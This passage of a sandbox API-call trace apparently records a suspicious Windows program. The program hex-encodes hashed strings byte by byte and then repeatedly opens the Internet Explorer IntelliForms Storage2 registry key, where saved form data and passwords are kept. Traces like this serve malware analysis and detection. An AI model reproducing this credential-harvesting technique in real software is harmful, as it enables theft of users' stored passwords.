(in: param_1=0x12fe68, param_2="%02X" | out: param_1="CF") returned 2 [0077.955] lstrlenA (lpString="FCABBAA0") returned 8 [0077.955] lstrlenA (lpString="CF") returned 2 [0077.955] LocalAlloc (uFlags=0x40, uBytes=0x8b) returned 0x655ec0 [0077.956] lstrcpyA (in: lpString1=0x655ec0, lpString2="FCABBAA0" | out: lpString1="FCABBAA0") returned="FCABBAA0" [0077.956] lstrcatA (in: lpString1="FCABBAA0", lpString2="CF" | out: lpString1="FCABBAA0CF") returned="FCABBAA0CF" [0077.956] LocalFree (hMem=0x655e28) returned 0x0 [0077.956] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="12") returned 2 [0077.956] lstrlenA (lpString="FCABBAA0CF") returned 10 [0077.956] lstrlenA (lpString="12") returned 2 [0077.956] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x655d98 [0077.956] lstrcpyA (in: lpString1=0x655d98, lpString2="FCABBAA0CF" | out: lpString1="FCABBAA0CF") returned="FCABBAA0CF" [0077.956] lstrcatA (in: lpString1="FCABBAA0CF", lpString2="12" | out: lpString1="FCABBAA0CF12") returned="FCABBAA0CF12" [0077.956] LocalFree (hMem=0x655ec0) returned 0x0 [0077.956] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="72") returned 2 [0077.956] lstrlenA (lpString="FCABBAA0CF12") returned 12 [0077.956] lstrlenA (lpString="72") returned 2 [0077.956] LocalAlloc (uFlags=0x40, uBytes=0x8f) returned 0x655e30 [0077.956] lstrcpyA (in: lpString1=0x655e30, lpString2="FCABBAA0CF12" | out: lpString1="FCABBAA0CF12") returned="FCABBAA0CF12" [0077.956] lstrcatA (in: lpString1="FCABBAA0CF12", lpString2="72" | out: lpString1="FCABBAA0CF1272") returned="FCABBAA0CF1272" [0077.956] LocalFree (hMem=0x655d98) returned 0x0 [0077.956] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="97") returned 2 [0077.956] lstrlenA (lpString="FCABBAA0CF1272") returned 14 [0077.956] lstrlenA (lpString="97") returned 2 [0077.956] LocalAlloc (uFlags=0x40, uBytes=0x91) returned 0x655ec8 [0077.956] lstrcpyA (in: lpString1=0x655ec8, lpString2="FCABBAA0CF1272" | out: lpString1="FCABBAA0CF1272") returned="FCABBAA0CF1272" [0077.956] lstrcatA (in: lpString1="FCABBAA0CF1272", lpString2="97" | out: lpString1="FCABBAA0CF127297") returned="FCABBAA0CF127297" [0077.956] LocalFree (hMem=0x655e30) returned 0x0 [0077.956] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="A6") returned 2 [0077.956] lstrlenA (lpString="FCABBAA0CF127297") returned 16 [0077.956] lstrlenA (lpString="A6") returned 2 [0077.956] LocalAlloc (uFlags=0x40, uBytes=0x93) returned 0x655d98 [0077.956] lstrcpyA (in: lpString1=0x655d98, lpString2="FCABBAA0CF127297" | out: lpString1="FCABBAA0CF127297") returned="FCABBAA0CF127297" [0077.956] lstrcatA (in: lpString1="FCABBAA0CF127297", lpString2="A6" | out: lpString1="FCABBAA0CF127297A6") returned="FCABBAA0CF127297A6" [0077.956] LocalFree (hMem=0x655ec8) returned 0x0 [0077.956] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="4D") returned 2 [0077.956] lstrlenA (lpString="FCABBAA0CF127297A6") returned 18 [0077.956] lstrlenA (lpString="4D") returned 2 [0077.956] LocalAlloc (uFlags=0x40, uBytes=0x95) returned 0x655e38 [0077.956] lstrcpyA (in: lpString1=0x655e38, lpString2="FCABBAA0CF127297A6" | out: lpString1="FCABBAA0CF127297A6") returned="FCABBAA0CF127297A6" [0077.956] lstrcatA (in: lpString1="FCABBAA0CF127297A6", lpString2="4D" | out: lpString1="FCABBAA0CF127297A64D") returned="FCABBAA0CF127297A64D" [0077.956] LocalFree (hMem=0x655d98) returned 0x0 [0077.956] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="F9") returned 2 [0077.957] lstrlenA (lpString="FCABBAA0CF127297A64D") returned 20 [0077.957] lstrlenA (lpString="F9") returned 2 [0077.957] LocalAlloc (uFlags=0x40, uBytes=0x97) returned 0x655d98 [0077.957] lstrcpyA (in: lpString1=0x655d98, lpString2="FCABBAA0CF127297A64D" | out: lpString1="FCABBAA0CF127297A64D") returned="FCABBAA0CF127297A64D" [0077.957] lstrcatA (in: lpString1="FCABBAA0CF127297A64D", lpString2="F9" | out: lpString1="FCABBAA0CF127297A64DF9") returned="FCABBAA0CF127297A64DF9" [0077.957] LocalFree (hMem=0x655e38) returned 0x0 [0077.957] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="49") returned 2 [0077.957] lstrlenA (lpString="FCABBAA0CF127297A64DF9") returned 22 [0077.957] lstrlenA (lpString="49") returned 2 [0077.957] LocalAlloc (uFlags=0x40, uBytes=0x99) returned 0x652ab8 [0077.957] lstrcpyA (in: lpString1=0x652ab8, lpString2="FCABBAA0CF127297A64DF9" | out: lpString1="FCABBAA0CF127297A64DF9") returned="FCABBAA0CF127297A64DF9" [0077.957] lstrcatA (in: lpString1="FCABBAA0CF127297A64DF9", lpString2="49" | out: lpString1="FCABBAA0CF127297A64DF949") returned="FCABBAA0CF127297A64DF949" [0077.957] LocalFree (hMem=0x655d98) returned 0x0 [0077.957] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="9D") returned 2 [0077.957] lstrlenA (lpString="FCABBAA0CF127297A64DF949") returned 24 [0077.957] lstrlenA (lpString="9D") returned 2 [0077.957] LocalAlloc (uFlags=0x40, uBytes=0x9b) returned 0x652968 [0077.957] lstrcpyA (in: lpString1=0x652968, lpString2="FCABBAA0CF127297A64DF949" | out: lpString1="FCABBAA0CF127297A64DF949") returned="FCABBAA0CF127297A64DF949" [0077.957] lstrcatA (in: lpString1="FCABBAA0CF127297A64DF949", lpString2="9D" | out: lpString1="FCABBAA0CF127297A64DF9499D") returned="FCABBAA0CF127297A64DF9499D" [0077.957] LocalFree (hMem=0x652ab8) returned 0x0 [0077.957] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="66") returned 2 [0077.957] lstrlenA (lpString="FCABBAA0CF127297A64DF9499D") returned 26 [0077.957] lstrlenA (lpString="66") returned 2 [0077.957] LocalAlloc (uFlags=0x40, uBytes=0x9d) returned 0x652ab8 [0077.957] lstrcpyA (in: lpString1=0x652ab8, lpString2="FCABBAA0CF127297A64DF9499D" | out: lpString1="FCABBAA0CF127297A64DF9499D") returned="FCABBAA0CF127297A64DF9499D" [0077.958] lstrcatA (in: lpString1="FCABBAA0CF127297A64DF9499D", lpString2="66" | out: lpString1="FCABBAA0CF127297A64DF9499D66") returned="FCABBAA0CF127297A64DF9499D66" [0077.958] LocalFree (hMem=0x652968) returned 0x0 [0077.958] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="47") returned 2 [0077.958] lstrlenA (lpString="FCABBAA0CF127297A64DF9499D66") returned 28 [0077.958] lstrlenA (lpString="47") returned 2 [0077.958] LocalAlloc (uFlags=0x40, uBytes=0x9f) returned 0x652968 [0077.958] lstrcpyA (in: lpString1=0x652968, lpString2="FCABBAA0CF127297A64DF9499D66" | out: lpString1="FCABBAA0CF127297A64DF9499D66") returned="FCABBAA0CF127297A64DF9499D66" [0077.958] lstrcatA (in: lpString1="FCABBAA0CF127297A64DF9499D66", lpString2="47" | out: lpString1="FCABBAA0CF127297A64DF9499D6647") returned="FCABBAA0CF127297A64DF9499D6647" [0077.958] LocalFree (hMem=0x652ab8) returned 0x0 [0077.958] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="98") returned 2 [0077.958] lstrlenA (lpString="FCABBAA0CF127297A64DF9499D6647") returned 30 [0077.958] lstrlenA (lpString="98") returned 2 [0077.958] LocalAlloc (uFlags=0x40, uBytes=0xa1) returned 0x6292f8 [0077.958] lstrcpyA (in: lpString1=0x6292f8, lpString2="FCABBAA0CF127297A64DF9499D6647" | out: lpString1="FCABBAA0CF127297A64DF9499D6647") returned="FCABBAA0CF127297A64DF9499D6647" [0077.958] lstrcatA (in: lpString1="FCABBAA0CF127297A64DF9499D6647", lpString2="98" | out: lpString1="FCABBAA0CF127297A64DF9499D664798") returned="FCABBAA0CF127297A64DF9499D664798" [0077.958] LocalFree (hMem=0x652968) returned 0x0 [0077.958] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="EE") returned 2 [0077.958] lstrlenA (lpString="FCABBAA0CF127297A64DF9499D664798") returned 32 [0077.958] lstrlenA (lpString="EE") returned 2 [0077.958] LocalAlloc (uFlags=0x40, uBytes=0xa3) returned 0x6293a8 [0077.958] lstrcpyA (in: lpString1=0x6293a8, lpString2="FCABBAA0CF127297A64DF9499D664798" | out: lpString1="FCABBAA0CF127297A64DF9499D664798") returned="FCABBAA0CF127297A64DF9499D664798" [0077.958] lstrcatA (in: lpString1="FCABBAA0CF127297A64DF9499D664798", lpString2="EE" | out: lpString1="FCABBAA0CF127297A64DF9499D664798EE") returned="FCABBAA0CF127297A64DF9499D664798EE" [0077.958] LocalFree (hMem=0x6292f8) returned 0x0 [0077.958] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="FE") returned 2 [0077.958] lstrlenA (lpString="FCABBAA0CF127297A64DF9499D664798EE") returned 34 [0077.958] lstrlenA (lpString="FE") returned 2 [0077.958] LocalAlloc (uFlags=0x40, uBytes=0xa5) returned 0x6292f8 [0077.958] lstrcpyA (in: lpString1=0x6292f8, lpString2="FCABBAA0CF127297A64DF9499D664798EE" | out: lpString1="FCABBAA0CF127297A64DF9499D664798EE") returned="FCABBAA0CF127297A64DF9499D664798EE" [0077.958] lstrcatA (in: lpString1="FCABBAA0CF127297A64DF9499D664798EE", lpString2="FE" | out: lpString1="FCABBAA0CF127297A64DF9499D664798EEFE") returned="FCABBAA0CF127297A64DF9499D664798EEFE" [0077.958] LocalFree (hMem=0x6293a8) returned 0x0 [0077.958] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="47") returned 2 [0077.958] lstrlenA (lpString="FCABBAA0CF127297A64DF9499D664798EEFE") returned 36 [0077.958] lstrlenA (lpString="47") returned 2 [0077.958] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x6293a8 [0077.958] lstrcpyA (in: lpString1=0x6293a8, lpString2="FCABBAA0CF127297A64DF9499D664798EEFE" | out: lpString1="FCABBAA0CF127297A64DF9499D664798EEFE") returned="FCABBAA0CF127297A64DF9499D664798EEFE" [0077.958] lstrcatA (in: lpString1="FCABBAA0CF127297A64DF9499D664798EEFE", lpString2="47" | out: lpString1="FCABBAA0CF127297A64DF9499D664798EEFE47") returned="FCABBAA0CF127297A64DF9499D664798EEFE47" [0077.958] LocalFree (hMem=0x6292f8) returned 0x0 [0077.958] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="B6") returned 2 [0077.958] lstrlenA (lpString="FCABBAA0CF127297A64DF9499D664798EEFE47") returned 38 [0077.959] lstrlenA (lpString="B6") returned 2 [0077.959] LocalAlloc (uFlags=0x40, uBytes=0xa9) returned 0x647668 [0077.959] lstrcpyA (in: lpString1=0x647668, lpString2="FCABBAA0CF127297A64DF9499D664798EEFE47" | out: lpString1="FCABBAA0CF127297A64DF9499D664798EEFE47") returned="FCABBAA0CF127297A64DF9499D664798EEFE47" [0077.959] lstrcatA (in: lpString1="FCABBAA0CF127297A64DF9499D664798EEFE47", lpString2="B6" | out: lpString1="FCABBAA0CF127297A64DF9499D664798EEFE47B6") returned="FCABBAA0CF127297A64DF9499D664798EEFE47B6" [0077.959] LocalFree (hMem=0x6293a8) returned 0x0 [0077.959] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="EB") returned 2 [0077.959] lstrlenA (lpString="FCABBAA0CF127297A64DF9499D664798EEFE47B6") returned 40 [0077.959] lstrlenA (lpString="EB") returned 2 [0077.959] LocalAlloc (uFlags=0x40, uBytes=0xab) returned 0x6477d8 [0077.959] lstrcpyA (in: lpString1=0x6477d8, lpString2="FCABBAA0CF127297A64DF9499D664798EEFE47B6" | out: lpString1="FCABBAA0CF127297A64DF9499D664798EEFE47B6") returned="FCABBAA0CF127297A64DF9499D664798EEFE47B6" [0077.959] lstrcatA (in: lpString1="FCABBAA0CF127297A64DF9499D664798EEFE47B6", lpString2="EB" | out: lpString1="FCABBAA0CF127297A64DF9499D664798EEFE47B6EB") returned="FCABBAA0CF127297A64DF9499D664798EEFE47B6EB" [0077.959] LocalFree (hMem=0x647668) returned 0x0 [0077.959] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe04 | out: phkResult=0x12fe04*=0x0) returned 0x2 [0077.959] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fdd8 | out: phkResult=0x12fdd8*=0x0) returned 0x2 [0077.959] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fdac | out: phkResult=0x12fdac*=0x0) returned 0x2 [0077.959] LocalFree (hMem=0x6477d8) returned 0x0 [0077.959] CoTaskMemFree (pv=0x641a68) [0077.959] StrStrIW (lpFirst="file:///C:/Users/EEBsYm5/AppData/Roaming/JxeHaGQ.jpg", lpSrch="?") returned 0x0 [0077.959] lstrlenW (lpString="file:///C:/Users/EEBsYm5/AppData/Roaming/JxeHaGQ.jpg") returned 52 [0077.959] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="DC") returned 2 [0077.959] lstrlenA (lpString="") returned 0 [0077.959] lstrlenA (lpString="DC") returned 2 [0077.959] LocalAlloc (uFlags=0x40, uBytes=0x83) returned 0x655d98 [0077.959] lstrcpyA (in: lpString1=0x655d98, lpString2="" | out: lpString1="") returned="" [0077.959] lstrcatA (in: lpString1="", lpString2="DC" | out: lpString1="DC") returned="DC" [0077.959] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="AE") returned 2 [0077.959] lstrlenA (lpString="DC") returned 2 [0077.959] lstrlenA (lpString="AE") returned 2 [0077.959] LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x655e28 [0077.959] lstrcpyA (in: lpString1=0x655e28, lpString2="DC" | out: lpString1="DC") returned="DC" [0077.959] lstrcatA (in: lpString1="DC", lpString2="AE" | out: lpString1="DCAE") returned="DCAE" [0077.959] LocalFree (hMem=0x655d98) returned 0x0 [0077.960] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="97") returned 2 [0077.960] lstrlenA (lpString="DCAE") returned 4 [0077.960] lstrlenA (lpString="97") returned 2 [0077.960] LocalAlloc (uFlags=0x40, uBytes=0x87) returned 0x655d98 [0077.960] lstrcpyA (in: lpString1=0x655d98, lpString2="DCAE" | out: lpString1="DCAE") returned="DCAE" [0077.960] lstrcatA (in: lpString1="DCAE", lpString2="97" | out: lpString1="DCAE97") returned="DCAE97" [0077.960] LocalFree (hMem=0x655e28) returned 0x0 [0077.960] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="B8") returned 2 [0077.960] lstrlenA (lpString="DCAE97") returned 6 [0077.960] lstrlenA (lpString="B8") returned 2 [0077.960] LocalAlloc (uFlags=0x40, uBytes=0x89) returned 0x655e28 [0077.960] lstrcpyA (in: lpString1=0x655e28, lpString2="DCAE97" | out: lpString1="DCAE97") returned="DCAE97" [0077.960] lstrcatA (in: lpString1="DCAE97", lpString2="B8" | out: lpString1="DCAE97B8") returned="DCAE97B8" [0077.960] LocalFree (hMem=0x655d98) returned 0x0 [0077.960] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="D7") returned 2 [0077.960] lstrlenA (lpString="DCAE97B8") returned 8 [0077.960] lstrlenA (lpString="D7") returned 2 [0077.960] LocalAlloc (uFlags=0x40, uBytes=0x8b) returned 0x655ec0 [0077.960] lstrcpyA (in: lpString1=0x655ec0, lpString2="DCAE97B8" | out: lpString1="DCAE97B8") returned="DCAE97B8" [0077.960] lstrcatA (in: lpString1="DCAE97B8", lpString2="D7" | out: lpString1="DCAE97B8D7") returned="DCAE97B8D7" [0077.960] LocalFree (hMem=0x655e28) returned 0x0 [0077.960] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="A5") returned 2 [0077.960] lstrlenA (lpString="DCAE97B8D7") returned 10 [0077.960] lstrlenA (lpString="A5") returned 2 [0077.960] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x655d98 [0077.960] lstrcpyA (in: lpString1=0x655d98, lpString2="DCAE97B8D7" | out: lpString1="DCAE97B8D7") returned="DCAE97B8D7" [0077.960] lstrcatA (in: lpString1="DCAE97B8D7", lpString2="A5" | out: lpString1="DCAE97B8D7A5") returned="DCAE97B8D7A5" [0077.960] LocalFree (hMem=0x655ec0) returned 0x0 [0077.960] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="0A") returned 2 [0077.960] lstrlenA (lpString="DCAE97B8D7A5") returned 12 [0077.960] lstrlenA (lpString="0A") returned 2 [0077.960] LocalAlloc (uFlags=0x40, uBytes=0x8f) returned 0x655e30 [0077.960] lstrcpyA (in: lpString1=0x655e30, lpString2="DCAE97B8D7A5" | out: lpString1="DCAE97B8D7A5") returned="DCAE97B8D7A5" [0077.960] lstrcatA (in: lpString1="DCAE97B8D7A5", lpString2="0A" | out: lpString1="DCAE97B8D7A50A") returned="DCAE97B8D7A50A" [0077.960] LocalFree (hMem=0x655d98) returned 0x0 [0077.960] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="CB") returned 2 [0077.960] lstrlenA (lpString="DCAE97B8D7A50A") returned 14 [0077.960] lstrlenA (lpString="CB") returned 2 [0077.960] LocalAlloc (uFlags=0x40, uBytes=0x91) returned 0x655ec8 [0077.960] lstrcpyA (in: lpString1=0x655ec8, lpString2="DCAE97B8D7A50A" | out: lpString1="DCAE97B8D7A50A") returned="DCAE97B8D7A50A" [0077.961] lstrcatA (in: lpString1="DCAE97B8D7A50A", lpString2="CB" | out: lpString1="DCAE97B8D7A50ACB") returned="DCAE97B8D7A50ACB" [0077.961] LocalFree (hMem=0x655e30) returned 0x0 [0077.961] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="BB") returned 2 [0077.961] lstrlenA (lpString="DCAE97B8D7A50ACB") returned 16 [0077.961] lstrlenA (lpString="BB") returned 2 [0077.961] LocalAlloc (uFlags=0x40, uBytes=0x93) returned 0x655d98 [0077.961] lstrcpyA (in: lpString1=0x655d98, lpString2="DCAE97B8D7A50ACB" | out: lpString1="DCAE97B8D7A50ACB") returned="DCAE97B8D7A50ACB" [0077.961] lstrcatA (in: lpString1="DCAE97B8D7A50ACB", lpString2="BB" | out: lpString1="DCAE97B8D7A50ACBBB") returned="DCAE97B8D7A50ACBBB" [0077.961] LocalFree (hMem=0x655ec8) returned 0x0 [0077.961] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="2F") returned 2 [0077.961] lstrlenA (lpString="DCAE97B8D7A50ACBBB") returned 18 [0077.961] lstrlenA (lpString="2F") returned 2 [0077.961] LocalAlloc (uFlags=0x40, uBytes=0x95) returned 0x655e38 [0077.961] lstrcpyA (in: lpString1=0x655e38, lpString2="DCAE97B8D7A50ACBBB" | out: lpString1="DCAE97B8D7A50ACBBB") returned="DCAE97B8D7A50ACBBB" [0077.961] lstrcatA (in: lpString1="DCAE97B8D7A50ACBBB", lpString2="2F" | out: lpString1="DCAE97B8D7A50ACBBB2F") returned="DCAE97B8D7A50ACBBB2F" [0077.961] LocalFree (hMem=0x655d98) returned 0x0 [0077.961] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="2E") returned 2 [0077.961] lstrlenA (lpString="DCAE97B8D7A50ACBBB2F") returned 20 [0077.961] lstrlenA (lpString="2E") returned 2 [0077.961] LocalAlloc (uFlags=0x40, uBytes=0x97) returned 0x655d98 [0077.961] lstrcpyA (in: lpString1=0x655d98, lpString2="DCAE97B8D7A50ACBBB2F" | out: lpString1="DCAE97B8D7A50ACBBB2F") returned="DCAE97B8D7A50ACBBB2F" [0077.961] lstrcatA (in: lpString1="DCAE97B8D7A50ACBBB2F", lpString2="2E" | out: lpString1="DCAE97B8D7A50ACBBB2F2E") returned="DCAE97B8D7A50ACBBB2F2E" [0077.961] LocalFree (hMem=0x655e38) returned 0x0 [0077.961] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="6B") returned 2 [0077.961] lstrlenA (lpString="DCAE97B8D7A50ACBBB2F2E") returned 22 [0077.961] lstrlenA (lpString="6B") returned 2 [0077.961] LocalAlloc (uFlags=0x40, uBytes=0x99) returned 0x652968 [0077.961] lstrcpyA (in: lpString1=0x652968, lpString2="DCAE97B8D7A50ACBBB2F2E" | out: lpString1="DCAE97B8D7A50ACBBB2F2E") returned="DCAE97B8D7A50ACBBB2F2E" [0077.961] lstrcatA (in: lpString1="DCAE97B8D7A50ACBBB2F2E", lpString2="6B" | out: lpString1="DCAE97B8D7A50ACBBB2F2E6B") returned="DCAE97B8D7A50ACBBB2F2E6B" [0077.961] LocalFree (hMem=0x655d98) returned 0x0 [0077.961] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="1B") returned 2 [0077.962] lstrlenA (lpString="DCAE97B8D7A50ACBBB2F2E6B") returned 24 [0077.962] lstrlenA (lpString="1B") returned 2 [0077.962] LocalAlloc (uFlags=0x40, uBytes=0x9b) returned 0x652ab8 [0077.962] lstrcpyA (in: lpString1=0x652ab8, lpString2="DCAE97B8D7A50ACBBB2F2E6B" | out: lpString1="DCAE97B8D7A50ACBBB2F2E6B") returned="DCAE97B8D7A50ACBBB2F2E6B" [0077.962] lstrcatA (in: lpString1="DCAE97B8D7A50ACBBB2F2E6B", lpString2="1B" | out: lpString1="DCAE97B8D7A50ACBBB2F2E6B1B") returned="DCAE97B8D7A50ACBBB2F2E6B1B" [0077.962] LocalFree (hMem=0x652968) returned 0x0 [0077.962] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="C8") returned 2 [0077.962] lstrlenA (lpString="DCAE97B8D7A50ACBBB2F2E6B1B") returned 26 [0077.962] lstrlenA (lpString="C8") returned 2 [0077.962] LocalAlloc (uFlags=0x40, uBytes=0x9d) returned 0x652968 [0077.962] lstrcpyA (in: lpString1=0x652968, lpString2="DCAE97B8D7A50ACBBB2F2E6B1B" | out: lpString1="DCAE97B8D7A50ACBBB2F2E6B1B") returned="DCAE97B8D7A50ACBBB2F2E6B1B" [0077.962] lstrcatA (in: lpString1="DCAE97B8D7A50ACBBB2F2E6B1B", lpString2="C8" | out: lpString1="DCAE97B8D7A50ACBBB2F2E6B1BC8") returned="DCAE97B8D7A50ACBBB2F2E6B1BC8" [0077.962] LocalFree (hMem=0x652ab8) returned 0x0 [0077.962] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="A6") returned 2 [0077.962] lstrlenA (lpString="DCAE97B8D7A50ACBBB2F2E6B1BC8") returned 28 [0077.962] lstrlenA (lpString="A6") returned 2 [0077.962] LocalAlloc (uFlags=0x40, uBytes=0x9f) returned 0x652ab8 [0077.962] lstrcpyA (in: lpString1=0x652ab8, lpString2="DCAE97B8D7A50ACBBB2F2E6B1BC8" | out: lpString1="DCAE97B8D7A50ACBBB2F2E6B1BC8") returned="DCAE97B8D7A50ACBBB2F2E6B1BC8" [0077.962] lstrcatA (in: lpString1="DCAE97B8D7A50ACBBB2F2E6B1BC8", lpString2="A6" | out: lpString1="DCAE97B8D7A50ACBBB2F2E6B1BC8A6") returned="DCAE97B8D7A50ACBBB2F2E6B1BC8A6" [0077.962] LocalFree (hMem=0x652968) returned 0x0 [0077.962] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="72") returned 2 [0077.962] lstrlenA (lpString="DCAE97B8D7A50ACBBB2F2E6B1BC8A6") returned 30 [0077.962] lstrlenA (lpString="72") returned 2 [0077.962] LocalAlloc (uFlags=0x40, uBytes=0xa1) returned 0x6293a8 [0077.962] lstrcpyA (in: lpString1=0x6293a8, lpString2="DCAE97B8D7A50ACBBB2F2E6B1BC8A6" | out: lpString1="DCAE97B8D7A50ACBBB2F2E6B1BC8A6") returned="DCAE97B8D7A50ACBBB2F2E6B1BC8A6" [0077.962] lstrcatA (in: lpString1="DCAE97B8D7A50ACBBB2F2E6B1BC8A6", lpString2="72" | out: lpString1="DCAE97B8D7A50ACBBB2F2E6B1BC8A672") returned="DCAE97B8D7A50ACBBB2F2E6B1BC8A672" [0077.962] LocalFree (hMem=0x652ab8) returned 0x0 [0077.962] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="B4") returned 2 [0077.962] lstrlenA (lpString="DCAE97B8D7A50ACBBB2F2E6B1BC8A672") returned 32 [0077.962] lstrlenA (lpString="B4") returned 2 [0077.962] LocalAlloc (uFlags=0x40, uBytes=0xa3) returned 0x6292f8 [0077.962] lstrcpyA (in: lpString1=0x6292f8, lpString2="DCAE97B8D7A50ACBBB2F2E6B1BC8A672" | out: lpString1="DCAE97B8D7A50ACBBB2F2E6B1BC8A672") returned="DCAE97B8D7A50ACBBB2F2E6B1BC8A672" [0077.962] lstrcatA (in: lpString1="DCAE97B8D7A50ACBBB2F2E6B1BC8A672", lpString2="B4" | out: lpString1="DCAE97B8D7A50ACBBB2F2E6B1BC8A672B4") returned="DCAE97B8D7A50ACBBB2F2E6B1BC8A672B4" [0077.962] LocalFree (hMem=0x6293a8) returned 0x0 [0077.962] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="1A") returned 2 [0077.962] lstrlenA (lpString="DCAE97B8D7A50ACBBB2F2E6B1BC8A672B4") returned 34 [0077.962] lstrlenA (lpString="1A") returned 2 [0077.962] LocalAlloc (uFlags=0x40, uBytes=0xa5) returned 0x6293a8 [0077.962] lstrcpyA (in: lpString1=0x6293a8, lpString2="DCAE97B8D7A50ACBBB2F2E6B1BC8A672B4" | out: lpString1="DCAE97B8D7A50ACBBB2F2E6B1BC8A672B4") returned="DCAE97B8D7A50ACBBB2F2E6B1BC8A672B4" [0077.963] lstrcatA (in: lpString1="DCAE97B8D7A50ACBBB2F2E6B1BC8A672B4", lpString2="1A" | out: lpString1="DCAE97B8D7A50ACBBB2F2E6B1BC8A672B41A") returned="DCAE97B8D7A50ACBBB2F2E6B1BC8A672B41A" [0077.963] LocalFree (hMem=0x6292f8) returned 0x0 [0077.963] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="F1") returned 2 [0077.963] lstrlenA (lpString="DCAE97B8D7A50ACBBB2F2E6B1BC8A672B41A") returned 36 [0077.963] lstrlenA (lpString="F1") returned 2 [0077.963] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x6292f8 [0077.963] lstrcpyA (in: lpString1=0x6292f8, lpString2="DCAE97B8D7A50ACBBB2F2E6B1BC8A672B41A" | out: lpString1="DCAE97B8D7A50ACBBB2F2E6B1BC8A672B41A") returned="DCAE97B8D7A50ACBBB2F2E6B1BC8A672B41A" [0077.963] lstrcatA (in: lpString1="DCAE97B8D7A50ACBBB2F2E6B1BC8A672B41A", lpString2="F1" | out: lpString1="DCAE97B8D7A50ACBBB2F2E6B1BC8A672B41AF1") returned="DCAE97B8D7A50ACBBB2F2E6B1BC8A672B41AF1" [0077.963] LocalFree (hMem=0x6293a8) returned 0x0 [0077.963] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="C7") returned 2 [0077.963] lstrlenA (lpString="DCAE97B8D7A50ACBBB2F2E6B1BC8A672B41AF1") returned 38 [0077.963] lstrlenA (lpString="C7") returned 2 [0077.963] LocalAlloc (uFlags=0x40, uBytes=0xa9) returned 0x6477d8 [0077.963] lstrcpyA (in: lpString1=0x6477d8, lpString2="DCAE97B8D7A50ACBBB2F2E6B1BC8A672B41AF1" | out: lpString1="DCAE97B8D7A50ACBBB2F2E6B1BC8A672B41AF1") returned="DCAE97B8D7A50ACBBB2F2E6B1BC8A672B41AF1" [0077.963] lstrcatA (in: lpString1="DCAE97B8D7A50ACBBB2F2E6B1BC8A672B41AF1", lpString2="C7" | out: lpString1="DCAE97B8D7A50ACBBB2F2E6B1BC8A672B41AF1C7") returned="DCAE97B8D7A50ACBBB2F2E6B1BC8A672B41AF1C7" [0077.963] LocalFree (hMem=0x6292f8) returned 0x0 [0077.963] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="2E") returned 2 [0077.963] lstrlenA (lpString="DCAE97B8D7A50ACBBB2F2E6B1BC8A672B41AF1C7") returned 40 [0077.963] lstrlenA (lpString="2E") returned 2 [0077.963] LocalAlloc (uFlags=0x40, uBytes=0xab) returned 0x647668 [0077.963] lstrcpyA (in: lpString1=0x647668, lpString2="DCAE97B8D7A50ACBBB2F2E6B1BC8A672B41AF1C7" | out: lpString1="DCAE97B8D7A50ACBBB2F2E6B1BC8A672B41AF1C7") returned="DCAE97B8D7A50ACBBB2F2E6B1BC8A672B41AF1C7" [0077.963] lstrcatA (in: lpString1="DCAE97B8D7A50ACBBB2F2E6B1BC8A672B41AF1C7", lpString2="2E" | out: lpString1="DCAE97B8D7A50ACBBB2F2E6B1BC8A672B41AF1C72E") returned="DCAE97B8D7A50ACBBB2F2E6B1BC8A672B41AF1C72E" [0077.963] LocalFree (hMem=0x6477d8) returned 0x0 [0077.963] RegOpenKeyExA (in: hKey=0x80000001, 